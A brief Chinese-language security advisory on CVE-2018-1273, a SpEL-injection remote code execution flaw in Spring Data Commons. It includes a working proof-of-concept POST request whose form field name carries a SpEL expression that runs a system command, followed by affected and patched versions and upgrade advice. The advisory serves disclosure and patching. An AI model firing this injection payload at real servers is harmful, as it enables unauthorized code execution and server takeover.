Spring Data Commons爆出远程代码执行漏洞(CVE-2018-1273),攻击者可构造包含有恶意代码的SPEL表达式实现远程代码攻击,直接获取服务器控制权限。
这是POC验证漏洞的测试http请求:
POST /users HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 164
username[#this.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('xterm')")]=asdf
受影响范围:
- Spring Data Commons 1.13 - 1.13.10(Ingalls SR10)
- Spring Data REST 2.6 - 2.6.10 (Ingalls SR10)
- Spring Data Commons 2.0 - 2.0.5 (Kay SR5)
- Spring Data REST 3.0 - 3.0.5 (Kay SR5)
- 已不支持的旧版本
解决方案:
建议及时更新到官方最新版
Spring Data Commons组件:
- 2.0.x版本用户更新至2.0.6
- 1.13.x版本用户更新至1.13.11
已不支持的旧版本请更新到官方提供支持的最新版本
已经修复的版本:
- Spring Data REST 2.6.11 (Ingalls SR11)
- Spring Data REST 3.0.6 (Kay SR6)
- Spring Boot 1.5.11
- Spring Boot 2.0.1